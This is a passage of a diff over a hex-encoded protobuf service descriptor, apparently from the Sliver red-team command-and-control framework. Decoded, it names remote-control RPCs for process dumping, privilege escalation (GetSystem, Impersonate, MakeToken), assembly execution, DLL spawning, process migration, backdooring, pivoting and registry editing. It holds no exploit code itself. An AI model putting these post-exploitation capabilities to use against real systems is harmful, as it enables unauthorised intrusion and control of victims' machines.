0x61, 0x74, 0x12, 0x23, 0x0a, 0x02, 0x4c, 0x73, 0x12, + 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x52, 0x65, 0x71, + 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x24, + 0x0a, 0x02, 0x43, 0x64, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x43, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x50, 0x77, 0x64, 0x12, 0x26, 0x0a, 0x03, 0x50, 0x77, 0x64, 0x12, 0x10, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x12, 0x23, 0x0a, 0x02, + 0x4d, 0x76, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x76, + 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, + 0x76, 0x12, 0x23, 0x0a, 0x02, 0x43, 0x70, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x43, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x43, 0x70, 0x12, 0x23, 0x0a, 0x02, 0x52, 0x6d, 0x12, 0x0f, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x12, 0x2c, 0x0a, 0x05, 0x4d, + 0x6b, 0x64, 0x69, 0x72, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x12, 0x35, 0x0a, 0x08, 0x44, 0x6f, 0x77, + 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, + 0x12, 0x2f, 0x0a, 0x06, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, + 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, + 0x64, 0x12, 0x29, 0x0a, 0x04, 0x47, 0x72, 0x65, 0x70, 0x12, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x72, 0x65, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x72, 0x65, 0x70, 0x12, 0x2c, 0x0a, 0x05, + 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x2c, 0x0a, 0x05, 0x43, 0x68, + 0x6f, 0x77, 0x6e, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, + 0x68, 0x6f, 0x77, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x12, 0x32, 0x0a, 0x07, 0x43, 0x68, 0x74, 0x69, + 0x6d, 0x65, 0x73, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, + 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x12, 0x37, 0x0a, 0x0c, + 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x19, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, + 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x3e, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, + 0x73, 0x41, 0x64, 0x64, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x15, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, + 0x65, 0x73, 0x41, 0x64, 0x64, 0x12, 0x3b, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, + 0x73, 0x52, 0x6d, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, + 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, + 0x52, 0x6d, 0x12, 0x3e, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, + 0x70, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, + 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, + 0x6d, 0x70, 0x12, 0x2c, 0x0a, 0x05, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x12, 0x12, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x52, 0x65, 0x71, 0x1a, + 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x75, 0x6e, 0x41, 0x73, + 0x12, 0x3e, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x12, + 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x65, 0x72, + 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, + 0x12, 0x38, 0x0a, 0x09, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x12, 0x16, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, + 0x6c, 0x66, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x12, 0x38, 0x0a, 0x09, 0x47, 0x65, + 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x52, 0x65, 0x71, 0x1a, + 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, + 0x73, 0x74, 0x65, 0x6d, 0x12, 0x29, 0x0a, 0x04, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x11, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x52, 0x65, 0x71, 0x1a, + 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, + 0x27, 0x0a, 0x03, 0x4d, 0x73, 0x66, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x33, 0x0a, 0x09, 0x4d, 0x73, 0x66, 0x52, + 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x4a, 0x0a, + 0x0f, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, + 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, + 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x19, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, + 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x12, 0x32, 0x0a, 0x07, 0x4d, 0x69, 0x67, + 0x72, 0x61, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x12, 0x32, 0x0a, + 0x07, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x11, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, + 0x65, 0x12, 0x40, 0x0a, 0x0e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64, + 0x6f, 0x77, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, + 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x52, 0x65, 0x71, + 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, + 0x75, 0x74, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x12, + 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, + 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x3b, 0x0a, 0x08, 0x53, 0x70, + 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x49, 0x6e, 0x76, 0x6f, 0x6b, 0x65, 0x53, 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, + 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, + 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x3b, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x65, 0x65, + 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x14, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, + 0x73, 0x68, 0x6f, 0x74, 0x12, 0x50, 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, + 0x6f, 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, + 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, + 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x4e, 0x0a, 0x12, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, + 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1f, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x61, + 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x44, 0x0a, 0x11, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, + 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, + 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x4e, 0x0a, 0x15, + 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, + 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, + 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, + 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x33, 0x0a, 0x0a, + 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x14, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, + 0x68, 0x12, 0x40, 0x0a, 0x0c, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, + 0x65, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, + 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, + 0x6e, 0x66, 0x6f, 0x12, 0x3e, 0x0a, 0x0b, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, + 0x63, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, + 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, + 0x6e, 0x66, 0x6f, 0x12, 0x42, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, + 0x76, 0x69, 0x63, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, + 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, + 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x38, 0x0a, 0x09, 0x4d, 0x61, 0x6b, 0x65, 0x54, + 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, + 0x6e, 0x12, 0x2d, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x10, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x49, 0x6e, 0x66, 0x6f, + 0x12, 0x2f, 0x0a, 0x06, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, + 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, + 0x76, 0x12, 0x35, 0x0a, 0x08, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x15, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, + 0x76, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, + 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, + 0x41, 0x0a, 0x0c, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, + 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, + 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, + 0x61, 0x64, 0x12, 0x44, 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, + 0x69, 0x74, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, + 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, + 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, + 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, + 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, + 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, + 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, + 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, + 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, + 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, + 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, + 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x54, 0x0a, 0x13, + 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x75, 0x62, 0x4b, + 0x65, 0x79, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, - 0x74, 0x12, 0x53, 0x0a, 0x12, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, - 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 